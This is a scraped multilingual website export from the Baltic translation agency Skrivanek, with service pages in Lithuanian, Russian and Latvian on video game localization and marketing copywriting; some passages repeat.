Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti KAS ĮEINA Į VAIZDO ŽAIDIMŲ VERTIMĄ? Trumpai tariant, į vaizdo žaidimų vertimą įeina žaidimo turinio ir garso takelio pritaikymas iš vienos kalbos į kitą. Vaizdo žaidimo turinio vertimas neapsiriboja tik perskaitomais titrais, kai veikėjai kalbasi tarpusavyje. Taip pat galima pritaikyti disko dėžutėje esančią medžiagą, instrukcijas, naudojimosi taisykles ir dar daugiau, įskaitant informatyvią medžiagą, reklamuojant žaidimą tiksline kalba. Ne visi supranta pirminę kalbą, kuria sukurtas vaizdo žaidimas – dažniausiai tai anglų kalba. Jos gerai arba visai nevaldant, yra didelė rizika, kad žaidėjai negalės iki galo pasinerti į žaidimo patirtį arba iš viso neįsigis žaidimo. O lokalizuojant vaizdo žaidimą keliomis kalbomis, atsiranda galimybė sudominti žaidimu ir tuose regionuose, kur mieliau mėgautųsi vaizdo žaidimais tik gimtąja kalba. KODĖL VERTA LOKALIZUOTI VAIZDO ŽAIDIMUS? Įsitikindamos, kad tekstas, herojų pasakymai ir netgi vaizdai vaizdo žaidimuose yra kruopščiai lokalizuoti kiekvienam regionui, įmonės suteikia galimybę visame pasaulyje esantiems šio prasiblaškymo būdo mėgėjams visiškai pasinerti į žaidimus savo gimtąja kalba. Taip tiek naudotojai, tiek žaidėjų kūrėjai įgija pranašumą. Praplečiama naudotojų auditorija. Lokalizacija padeda kreiptis į naujus žaidėjus, kurie nebūtų įsigiję žaidimo originalo kalba. Papildoma apyvarta. Parduodant savo ilgai užtrukusį darbą naujoje rinkoje ir regione, galima padidinti vaizdo žaidimų pardavimo apimtis, kartu ir pelną. Remtis kultūros papročiais. Lokalizuojant žaidimą galima jį pritaikyti prie įvairių regionų kultūrinių papročių, kad jis labiau patiktų žaidėjams. Maloni žaidimo patirtis. Žaidimų lokalizavimas gali pagerinti žaidėjų patirtį, nes sumažėja kalbos barjeras, o žaidimas tampa malonesnis ir įdomesnis. KAIP ATLIEKAME VAIZDO ŽAIDIMŲ LOKALIZACIJĄ? Vertimas yra tik nedidelė vaizdo žaidimų lokalizacijos proceso dalis. Štai keli svarbiausi veiksniai, į kuriuos kreipiame dėmesį, kad užtikrintume puikią kokybę. Vertimas. Pirmasis ir svarbiausias veiksmas pritaikant turinį tikslinei rinkos kalbai ir jos ypatumams. Redagavimas ir korektūra. Išversta medžiaga patikrinama: patikslinami terminai ir ištaisomos korektūros klaidos. Kalbos kokybės kontrolė Prieš pateikiant medžiagą, skirtą integruoti į vaizdo žaidimą, patikrinamas ir išbandomas vertimo tikslumas. Pritaikymas. Šiame etape atliekamos techninės manipuliacijos, kad vertimą būtų galima atvaizduoti pačiame žaidime. Taip pat tobulinami vizualūs elementai, kad būtų įsitikinta turinio tiksliu atvaizdavimu. Pritaikymas konkrečiam regionui. Kai kuriose valstybėse draudžiami kai kurie vaizdo žaidimų elementai. Pavyzdžiui, kraujas, kaukolės ar religiniai simboliai. Jeigu neatliekami pakeitimai, vaizdo žaidimas regione gali būti visiškai uždraustas. Taip pat reikia apmąstyti, kiek konkrečiame regione priimta vaizduoti smurto ar seksualinio pobūdžio turinį. Garso įrašų turinio lokalizacija. Užbaigus turinio lokalizavimą, vaizdo žaidimų veikėjams parenkami įgarsintojai, įrašomas garso turinys ir patikrinama, ar medžiaga atitinka vietos dialektą ir akcentus. KOKIA YRA ŽINGSNIS PO ŽINGSNIO ŽAIDIMŲ LOKALIZACIJOS EIGA ? Atliekant vaizdo žaidimų lokalizaciją, į procesą įtraukiami kalbos specialistai, kuriems tikslinė kalba yra gimtoji. Taip užtikriname, kad galutinis rezultatas būtų malonus ir suprantamas žaidėjams, pritaikydami tekstą prie veikėjų, kurie kalba kaip „vietiniai“- personažai, kalbos stiliaus lygio. Toliau pateikiami pagrindiniai veiksmai, kaip kokybiškai lokalizuoti vaizdo žaidimą. Klientas atsiunčia tekstą ir stiliaus gaires. Susitariame dėl darbo atlikimo terminų. Projektų vadovai keičia vertimui gautus failus ir siunčia juos lokalizavimo rangovams. Vertėjai pradeda darbą ir papildomai taip pat: atsižvelgia į stiliaus gaires, atskirame faile fiksuodami veikėjų ir buvimo vietų pavadinimus, kad laikytųsi vienodo stiliaus; bendrauja su klientu klausimyno arba bendravimo programos forma, kad išsiaiškintų pradine kalba užfiksuotus niuansus ir galėtų juos atkartoti kita kalba. Vertėjas ar vertėjai užbaigia darbą ir tada ateina laikas nepriklausomam techniniam ir gramatikos patikrinimui. Ištaisius gramatines ir stilistines klaideles, jei jos pasitaikė, atliekama teksto kokybės kontrolė. Medžiaga visiškai išverčiama ir patikrinama. Tada ją galima išsiųsti klientui. Klientas išbando naują kalbos lokalizaciją pačiame žaidime ir pasidalina savo įspūdžiais. Jei būtini pakeitimai, mes juos atliekame. Atlikus galimus pakeitimus, vertimo procesas užbaigiamas. --- > Одним из важнейших аспектов в достижении максимально широкого охвата любителей видеоигр является успешная локализация. - Published: 2024-03-25 - Modified: 2024-08-12 - URL: https://skrivanek.lv/videospelu-lokalizacija/ Одним из важнейших аспектов в достижении максимально широкого охвата любителей видеоигр является успешная локализация. Skrivanek Baltic заботится о том, чтобы содержание видеоигр было не только переведено на высшем уровне качества, но и адаптировано к местному рынку, устраняя барьеры культурных и языковых различий. ПОЧЕМУ НУЖНО ВЫБРАТЬ SKRIVANEK? Отраслевые эксперты. Являясь профессионалами в сфере языкознания, а также увлеченными поклонниками видеоигр, наши переводчики предоставляют качественный и тщательно продуманный продукт. Культурные различия. Работая над текстом, мы создаем не механический перевод, а адаптацию, способную заинтересовать игроков, говорящих на целевом языке. Быстрое выполнение работ. Мы эффективно выполняем перевод, не задерживая процесс создания видеоигры. Проверка качества. Постоянная проверка качества обеспечивает точность, в особенности в употреблении ключевых терминов, а также увлекательный опыт игры. Если Вы хотите обеспечить поддержку своей видеоигры на нескольких языках, обращайтесь к нам – мы найдем наилучшее решение! Запишитесь на консультацию, если хотите подробнее обсудить свой проект. Мы с радостью поможем найти лучшее и наиболее подходящее Вам решение при создании локализации. Ниже укажите контактные данные и вопросы, чтобы мы могли назначить удобное для Вас время разговора. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Одним из важнейших аспектов в достижении максимально широкого охвата любителей видеоигр является успешная локализация. Skrivanek Baltic заботится о том, чтобы содержание видеоигр было не только переведено на высшем уровне качества, но и адаптировано к местному рынку, устраняя барьеры культурных и языковых различий. ПОЧЕМУ НУЖНО ВЫБРАТЬ SKRIVANEK? Отраслевые эксперты. Являясь профессионалами в сфере языкознания, а также увлеченными поклонниками видеоигр, наши переводчики предоставляют качественный и тщательно продуманный продукт. Культурные различия. Работая над текстом, мы создаем не механический перевод, а адаптацию, способную заинтересовать игроков, говорящих на целевом языке. Быстрое выполнение работ. Мы эффективно выполняем перевод, не задерживая процесс создания видеоигры. Проверка качества. Постоянная проверка качества обеспечивает точность, в особенности в употреблении ключевых терминов, а также увлекательный опыт игры. Если Вы хотите обеспечить поддержку своей видеоигры на нескольких языках, обращайтесь к нам – мы найдем наилучшее решение! Запишитесь на консультацию, если хотите подробнее обсудить свой проект. Мы с радостью поможем найти лучшее и наиболее подходящее Вам решение при создании локализации. Ниже укажите контактные данные и вопросы, чтобы мы могли назначить удобное для Вас время разговора. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить ЧТО ВХОДИТ В ПЕРЕВОД ВИДЕОИГР? Если коротко, то перевод игр включает в себя переложение контента и звуковой дорожки игры с одного языка на другой. Перевод контента видеоигры не ограничивается субтитрами, которые выводятся на экран, когда герои беседуют друг с другом. Помимо этого, возможна адаптация содержащихся в коробке диска материалов, инструкций, условий использования услуги и многого другого, в том числе и информационных материалов для рекламы игры на целевом языке. Не все владеют языком оригинала, на котором создана видеоигра, – преимущественно английским. Игроки с плохими или нулевыми знаниями английского, скорее всего, не смогут полностью насладиться игрой или вообще ее не купят. Однако, локализуя видеоигру на разных языках, можно усилить интерес к игре даже в тех регионах, жители которых предпочитают играть в видеоигры только на родном языке. ПОЧЕМУ СТОИТ ЛОКАЛИЗОВАТЬ ВИДЕОИГРЫ? Будучи уверенными в том, что текст, слова героев и даже изображения в видеоиграх в точности локализованы для каждого региона, предприятия дают возможность ценителям этого жанра развлечений по всему миру в полной мере насладиться игрой на своем родном языке. Таким образом, локализация обеспечивает преимущества как пользователям, так и разработчикам игр. Расширяется круг пользователей. Локализация помогает привлечь новых пользователей, которые не приобрели бы игру на ее оригинальном языке. Дополнительный оборот. Продавая свое произведение на новом рынке и в новом регионе, вы сможете повысить объемы продаж видеоигры и, соответственно, прибыль. Соответствие культурным обычаям. При помощи локализации можно адаптировать игру к культурным обычаям разных регионов, чтобы затронуть сердца игроков. Приятный опыт игры. Локализация игр способна улучшить опыт игроков, устраняя языковой барьер и делая игру более понятной и увлекательной. КАК ВЫПОЛНЯЕТСЯ ЛОКАЛИЗАЦИЯ ВИДЕОИГР? Перевод – это лишь небольшая часть процесса локализации видеоигр. Вот некоторые важнейшие аспекты, на которые мы обращаем внимание, чтобы обеспечить великолепное качество: Перевод. Первый и важнейший этап адаптации содержания к языку целевого рынка и его особенностям. Редактирование и корректура. Переведенный материал подвергается проверке, чтобы уточнить термины и исправить опечатки. Контроль качества языка. Прежде чем передать материал на интеграцию в видеоигру, мы проводим проверку и тестирование перевода на точность. Адаптация. На этом этапе выполняются технические манипуляции, позволяющие отобразить перевод в самой игре. Кроме того, мы подправляем визуальные элементы, чтобы обеспечить точное отображение их наполнения. Адаптация к конкретному региону. В некоторых странах отдельные элементы видеоигр, например кровь, черепа или религиозные символы, могут быть запрещены. Если не внести изменения, возможен полный запрет видеоигры в конкретном регионе. Также нужно будет обдумать, насколько открыто в выбранном регионе принято изображать насилие или сцены сексуального характера. Локализация аудиосодержания. Когда локализация содержания завершена, начинается подбор актеров озвучивания, которые сыграют персонажей видеоигры, записывается и проверяется аудиосодержание, чтобы убедиться в соответствии материала местному диалекту и акцентам. ИЗ КАКИХ ЭТАПОВ СОСТОИТ ЛОКАЛИЗАЦИЯ ИГР? В процессе локализации видеоигр участвуют лингвисты, для которых целевой язык является родным. Благодаря этому конечный результат будет приятным и понятным для игроков – ведь если адаптировать текст к уровню языкового стиля соответствующих персонажей, -они будут разговаривать совсем как «местные». Итак, какие же шаги необходимо предпринять, чтобы получить качественную локализацию видеоигры? Клиент присылает текст и руководство по стилю. Мы согласуем сроки выполнения работ. Руководители проектов преобразуют полученные файлы в пригодные для перевода и рассылают их исполнителям работ по локализации. Переводчики приступают к работе, при этом: учитывают руководство по стилю, записывая в отдельный файл названия персонажей и локаций, чтобы обеспечить единство стиля; путем опроса или через приложение для связи уточняют у клиента нюансы исходного языка, чтобы верно отобразить их на другом языке. Переводчик или переводчики завершают работу, и настает время независимой технической и грамматической проверки. Очищенный от всех грамматических и стилистических ошибок (если они были) текст проходит контроль качества. Материал полностью переведен и проверен – теперь его можно отправлять клиенту. Клиент проверяет новую языковую локализацию в самой игре и делится впечатлениями. Мы вносим правки, если они необходимы. После внесения последних правок процесс перевода завершается. --- > Izbaudiet Skrivanek radošo tekstu sagatavošanas (copywriting) pakalpojumus. Mainiet saturu, aizraujiet auditoriju. Jūsu vārdi, mūsu meistarība. - Published: 2024-03-15 - Modified: 2024-11-12 - URL: https://skrivanek.lv/radosu-tekstu-sagatavosana/ - Translation Priorities: Optional REKLĀMU UN DAUDZVALODU MĀRKETINGA TEKSTU SAGATAVOŠANA (COPYWRITING) Mēs labi zinām, ka cilvēki apzināti neizvēlas lasīt reklāmas - viņi lasa un klausās to, kas viņus patiešām interesē un tikai dažreiz tā var būt reklāma. Vai esat domājuši, kā valodu uzņēmums var palīdzēt tieši jums būt sadzirdētam pārblīvētajā informācijas telpā? Skrivanek radošo tekstu autori strādā ciešā sadarbībā ar klientu un neveido tekstu no zila gaisa, bet rūpīgi apgūst jūsu produkta nianses. Arī izcilas rakstīšanas prasmes nebūt nav vienīgās, kas autoriem nepieciešamas, lai palīdzētu mūsu klientiem augt starptautiski. Veidojot un pielāgojot tekstus ārzemju tirgiem, autora uzdevums ir saglabāt vēstījuma unikalitāti un tonalitāti, respektējot auditorijas kultūras atšķirības un paražas, kā arī pārzināt nerakstītos komunikācijas un etiķetes likumus. Ja meklējat valodu uzņēmumu, kas radīs patiesi aizraujošu reklāmu tekstus un parūpēsies par jūsu tīmekļa vietnes daudzvalodu saturu, lai sasniegtu pēc iespējas vairāk potenciālo klientu visā pasaulē – jūs esat pareizajā vietā. REKLĀMU UN DAUDZVALODU MĀRKETINGA TEKSTU NOZĪME JŪSU UZŅĒMUMA IZAUGSMĒ Darbs ar tekstiem ir katra uzņēmuma mārketinga nodaļas viens no svarīgākajiem uzdevumiem, arī jūsu! Trāpīgi un korekti piemeklētiem vārdiem piemīt liels spēks, lai ietekmētu vai aicinātu rīkoties jūsu klientus – un tā ir jebkuras mārketinga kampaņas veiksmes atslēga. Mārketinga teksti ir visa veida tekstuālie materiāli, kurus jūsu uzņēmums var izmantot savās pārdošanas aktivitātēs un produktu un pakalpojumu reklamēšanā. Tie ir gan drukātie materiāli, prezentācijas, e-pastu sagataves, gan viegli konvertējams daudzvalodu saturs jūsu tīmekļa vietnei, arī uzņēmuma audio un videomateriālu teksti. Darbs ar tekstu ir kā sirsnīga saruna ar labāko draugu – klientu, kurš iedvesmo. Tādēļ, lai sagatavotu iedarbīgu un labi mērķētu reklāmas saukli, tekstu autoram ir ļoti labi jāpazīst savs lasītājs, jāzina viņa intereses un ieradumi, pat viņa klusākie sapņi. Savukārt adaptējot vai lokalizējot jau iepriekš sagatavotu tīmekļa vietnes saturu, ir jāstrādā ar auditorijas priekšizpēti izvēlētajā mērķa tirgū vai valstī. Īpaši svarīgi ir laicīgi veikt Google atslēgvārdu priekšizpēti, lai mēs jau no paša sākuma runātu valodā, kādā potenciālais pircējs meklē jūsu produktu vai pakalpojumu konkrētajā valstī. UNIKĀLS AUTORTEKSTS UN DAUDZVALODU SATURA MĀRKETINGS Kāda ir atšķirība starp unikāla autorteksta sagatavošanu un daudzvalodu satura mārketingu? Satura mārketings ir viss saturs, ko jūsu uzņēmums konsekventi veido un publicē internetā, lai uzlabotu uzņēmuma pozīcijas meklētājprogrammu rezultātos, tādējādi veicinot arī netiešo pārdošanu. Parasti tas ir saturs emuāriem par jomu, kurā jūs specializējaties, pieredzes stāsti, izklaidējošs vai arī izglītojošs materiāls. Kādēļ tas ir svarīgi? Atbilde ir vienkārša - lai veidotu ilgtermiņa attiecības ar saviem klientiem, lai viņiem ir interesanti jums sekot un veidot dialogu sociālajos tīklos, lasīt un dalīties ar jūsu emuāru, stāstīt par jums saviem draugiem. Kā jums var palīdzēt Skrivanek? Mēs runājam vairāk nekā 110 jūsu potenciālo klientu valodās. Sasniegt vēlamo mērķauditoriju jebkurā pasaules vietā vēl nekad nav bijis tik vienkārši, jums atliek izvēlēties valsti vai reģionu un Skrivanek tekstu autori parūpēsies par pārējo. Starpkultūru komunikācija ir mūsu specializācija. Nepieciešama radoša teksta sagatavošana (copywriting)? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai jau tūlīt! REKLĀMU UN DAUDZVALODU MĀRKETINGA TEKSTU SAGATAVOŠANA (COPYWRITING) Mēs labi zinām, ka cilvēki apzināti neizvēlas lasīt reklāmas - viņi lasa un klausās to, kas viņus patiešām interesē un tikai dažreiz tā var būt reklāma. Vai esat domājuši, kā valodu uzņēmums var palīdzēt tieši jums būt sadzirdētam pārblīvētajā informācijas telpā? Skrivanek radošo tekstu autori strādā ciešā sadarbībā ar klientu un neveido tekstu no zila gaisa, bet rūpīgi apgūst jūsu produkta nianses. Arī izcilas rakstīšanas prasmes nebūt nav vienīgās, kas autoriem nepieciešamas, lai palīdzētu mūsu klientiem augt starptautiski. Veidojot un pielāgojot tekstus ārzemju tirgiem, autora uzdevums ir saglabāt vēstījuma unikalitāti un tonalitāti, respektējot auditorijas kultūras atšķirības un paražas, kā arī pārzināt nerakstītos komunikācijas un etiķetes likumus. Ja meklējat valodu uzņēmumu, kas radīs patiesi aizraujošu reklāmu tekstus un parūpēsies par jūsu tīmekļa vietnes daudzvalodu saturu, lai sasniegtu pēc iespējas vairāk potenciālo klientu visā pasaulē – jūs esat pareizajā vietā. REKLĀMU UN DAUDZVALODU MĀRKETINGA TEKSTU NOZĪME JŪSU UZŅĒMUMA IZAUGSMĒ Darbs ar tekstiem ir katra uzņēmuma mārketinga nodaļas viens no svarīgākajiem uzdevumiem, arī jūsu! Trāpīgi un korekti piemeklētiem vārdiem piemīt liels spēks, lai ietekmētu vai aicinātu rīkoties jūsu klientus – un tā ir jebkuras mārketinga kampaņas veiksmes atslēga. Mārketinga teksti ir visa veida tekstuālie materiāli, kurus jūsu uzņēmums var izmantot savās pārdošanas aktivitātēs un produktu un pakalpojumu reklamēšanā. Tie ir gan drukātie materiāli, prezentācijas, e-pastu sagataves, gan viegli konvertējams daudzvalodu saturs jūsu tīmekļa vietnei, arī uzņēmuma audio un videomateriālu teksti. Darbs ar tekstu ir kā sirsnīga saruna ar labāko draugu – klientu, kurš iedvesmo. Tādēļ, lai sagatavotu iedarbīgu un labi mērķētu reklāmas saukli, tekstu autoram ir ļoti labi jāpazīst savs lasītājs, jāzina viņa intereses un ieradumi, pat viņa klusākie sapņi. Savukārt adaptējot vai lokalizējot jau iepriekš sagatavotu tīmekļa vietnes saturu, ir jāstrādā ar auditorijas priekšizpēti izvēlētajā mērķa tirgū vai valstī. Īpaši svarīgi ir laicīgi veikt Google atslēgvārdu priekšizpēti, lai mēs jau no paša sākuma runātu valodā, kādā potenciālais pircējs meklē jūsu produktu vai pakalpojumu konkrētajā valstī. UNIKĀLS AUTORTEKSTS UN DAUDZVALODU SATURA MĀRKETINGS Kāda ir atšķirība starp unikāla autorteksta sagatavošanu un daudzvalodu satura mārketingu? Satura mārketings ir viss saturs, ko jūsu uzņēmums konsekventi veido un publicē internetā, lai uzlabotu uzņēmuma pozīcijas meklētājprogrammu rezultātos, tādējādi veicinot arī netiešo pārdošanu. Parasti tas ir saturs emuāriem par jomu, kurā jūs specializējaties, pieredzes stāsti, izklaidējošs vai arī izglītojošs materiāls. Kādēļ tas ir svarīgi? Atbilde ir vienkārša - lai veidotu ilgtermiņa attiecības ar saviem klientiem, lai viņiem ir interesanti jums sekot un veidot dialogu sociālajos tīklos, lasīt un dalīties ar jūsu emuāru, stāstīt par jums saviem draugiem. Kā jums var palīdzēt Skrivanek? Mēs runājam vairāk nekā 110 jūsu potenciālo klientu valodās. Sasniegt vēlamo mērķauditoriju jebkurā pasaules vietā vēl nekad nav bijis tik vienkārši, jums atliek izvēlēties valsti vai reģionu un Skrivanek tekstu autori parūpēsies par pārējo. Starpkultūru komunikācija ir mūsu specializācija. Nepieciešama radoša teksta sagatavošana (copywriting)? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai jau tūlīt! KAD NEPIECIEŠAMS DOMĀT PAR RADOŠO AUTORTEKSTU SAGATAVOŠANU? Vienkāršā atbilde ir – vienmēr! Patiesībā darbs ar tekstu nebeidzas nekad, jo, lai sasniegtu uzņēmuma biznesa mērķus vai veicinātu pārdošanas apjomus, ir jāraksta arvien jauni un jauni teksti. Lai pelnītu vairāk, ir jāmeklē jauni tirgi, jāstrādā pie jaunu produktu radīšanas, bet tam ir nepieciešami augstas kvalitātes mārketinga teksti. Nekad neapstājas darbs arī pie jau esošā satura, jo tas ir nepārtraukti jāuzlabo un jāpielāgo meklētājprogrammu parametriem. Ar laiku mainās arī mērķauditorijas uzvedība, cilvēki izvēlas lietot citus sociālos medijus, sekot jauniem viedokļu līderiem, turklāt var krasi mainīties jūsu pircēju vērtības. Skrivanek tekstu autori rūpīgi seko līdzi jaunākajām tendencēm mārketingā un reklāmā, jo dažādās valstīs esošās un potenciālās mērķauditorijas realitāte attīstās un mainās katra citādāk, ir citas rūpes, citi sapņi. Nav apšaubāms, ka reklāmu kultūra ASV atšķiras no Japānas reklāmu vides un tradīcijām, tāpat Eiropas pircēji informāciju par produktiem meklēs pa citiem ceļiem, nekā to darīs cilvēki Āzijā, jo parasti mēs mēdzam meklēt savām ikdienas vajadzībām un situācijai pielāgotus risinājumus. DAUDZVALODU MĀRKETINGA TEKSTA SAGATAVOŠANA Lielāki un mazāki uzņēmumi, kas īsteno uzņēmējdarbību dažādās valstīs, nepagurstoši strādā un piedomā pie uzņēmuma globālās komunikācijas un zīmola balss. Ar šo uzdevumu lieliski palīdz tikt galā komunikācijas un valodu uzņēmumi, kas ir pieredzējuši un labi pārzina valstu komunikācijas atšķirības. Nereti komunikācijas rokasgrāmatas un vadlīnijas tiek veidotas, cieši sadarbojoties ar klientu un teksti tiek radīti no jauna, taču bieži zīmoli izvēlas jau esošā satura pielāgošanu mērķauditorijai. Jūs māc šaubas, vai jūsu esošie teksti būs gana iedarbīgi un lasītāju uzrunājoši? Skrivanek tekstu autori Latvijā, Igaunijā, Lietuvā, Polijā, Vācijā un citās Eiropas un pasaules valstīs palīdzēs pārvarēt valodas barjeru un tikt sadzirdētiem. Atcerieties, ka katrs produkts un situācija ir unikāla un ir jārod maksimāli pielāgots risinājums. PIRMIE SOĻI RADOŠU AUTORTEKSTU SAGATAVOŠANĀ – AR KO SĀKT? Ja jūs esat apņēmušies uzrakstīt tekstu, taču šaubāties, ko tieši rakstīt, Skrivanek iesaka padomāt par šādiem jautājumiem: Kādu problēmu jūsu produkts vai pakalpojums palīdz atrisināt jūsu klientiem? Kādas, jūsuprāt, ir jūsu produkta vai pakalpojuma priekšrocības? Ar ko jūs esat labāki par konkurentiem? Kas ir jūsu mērķauditorija? Kas ir jūsu ideālais klients – raksturojiet viņu, padomājiet par viņa vecumu, dzimumu, hobijiem utt. Kādi cilvēki vai uzņēmumi jau ir izmantojuši jūsu produktu vai pakalpojumus līdz šim? Ko jūs par viņiem zināt? Ko jūsu esošie klienti sagaida no jums? Kā jūsu produkti vai pakalpojumi sasniedz klientus? Vai uzrunāsiet jau esošo auditoriju, vai tomēr centīsities sasniegt jaunus klientus? Kādu mērķi jūs vēlaties sasniegt ar šo tekstu? Kādi ir jūsu uzņēmuma mārketinga mērķi vispār? Kādu tekstu jūs rakstīsiet – produkta aprakstu, pārdošanas e-pastu, ierakstu sociālajiem medijiem, emuāru, jaunu piezemēšanās lapu tīmekļa vietnei? Īstā rakstītprasme nāk ar laiku, un tā ir jākopj un jātrenē, tāpat kā jebkura cita prasme. PIRMIE SOĻI RADOŠU AUTORTEKSTU SAGATAVOŠANĀ – AR KO SĀKT? Ja jūs esat apņēmušies uzrakstīt tekstu, taču šaubāties, ko tieši rakstīt, Skrivanek iesaka padomāt par šādiem jautājumiem: Kādu problēmu jūsu produkts vai pakalpojums palīdz atrisināt jūsu klientiem? Kādas, jūsuprāt, ir jūsu produkta vai pakalpojuma priekšrocības? Ar ko jūs esat labāki par konkurentiem? Kas ir jūsu mērķauditorija? Kas ir jūsu ideālais klients – raksturojiet viņu, padomājiet par viņa vecumu, dzimumu, hobijiem utt. Kādi cilvēki vai uzņēmumi jau ir izmantojuši jūsu produktu vai pakalpojumus līdz šim? Ko jūs par viņiem zināt? Ko jūsu esošie klienti sagaida no jums? Kā jūsu produkti vai pakalpojumi sasniedz klientus? Vai uzrunāsiet jau esošo auditoriju, vai tomēr centīsities sasniegt jaunus klientus? Kādu mērķi jūs vēlaties sasniegt ar šo tekstu? Kādi ir jūsu uzņēmuma mārketinga mērķi vispār? Kādu tekstu jūs rakstīsiet – produkta aprakstu, pārdošanas e-pastu, ierakstu sociālajiem medijiem, emuāru, jaunu piezemēšanās lapu tīmekļa vietnei? Īstā rakstītprasme nāk ar laiku, un tā ir jākopj un jātrenē, tāpat kā jebkura cita prasme. KAD NEPIECIEŠAMS DOMĀT PAR RADOŠO AUTORTEKSTU SAGATAVOŠANU? Vienkāršā atbilde ir – vienmēr! Patiesībā darbs ar tekstu nebeidzas nekad, jo, lai sasniegtu uzņēmuma biznesa mērķus vai veicinātu pārdošanas apjomus, ir jāraksta arvien jauni un jauni teksti. Lai pelnītu vairāk, ir jāmeklē jauni tirgi, jāstrādā pie jaunu produktu radīšanas, bet tam ir nepieciešami augstas kvalitātes mārketinga teksti. Nekad neapstājas darbs arī pie jau esošā satura, jo tas ir nepārtraukti jāuzlabo un jāpielāgo meklētājprogrammu parametriem. Ar laiku mainās arī mērķauditorijas uzvedība, cilvēki izvēlas lietot citus sociālos medijus, sekot jauniem viedokļu līderiem, turklāt var krasi mainīties jūsu pircēju vērtības. Skrivanek tekstu autori rūpīgi seko līdzi jaunākajām tendencēm mārketingā un reklāmā, jo dažādās valstīs esošās un potenciālās mērķauditorijas realitāte attīstās un mainās katra citādāk, ir citas rūpes, citi sapņi. Nav apšaubāms, ka reklāmu kultūra ASV atšķiras no Japānas reklāmu vides un tradīcijām, tāpat Eiropas pircēji informāciju par produktiem meklēs pa citiem ceļiem, nekā to darīs cilvēki Āzijā, jo parasti mēs mēdzam meklēt savām ikdienas vajadzībām un situācijai pielāgotus risinājumus. DAUDZVALODU MĀRKETINGA TEKSTA SAGATAVOŠANA Lielāki un mazāki uzņēmumi, kas īsteno uzņēmējdarbību dažādās valstīs, nepagurstoši strādā un piedomā pie uzņēmuma globālās komunikācijas un zīmola balss. Ar šo uzdevumu lieliski palīdz tikt galā komunikācijas un valodu uzņēmumi, kas ir pieredzējuši un labi pārzina valstu komunikācijas atšķirības. Nereti komunikācijas rokasgrāmatas un vadlīnijas tiek veidotas, cieši sadarbojoties ar klientu un teksti tiek radīti no jauna, taču bieži zīmoli izvēlas jau esošā satura 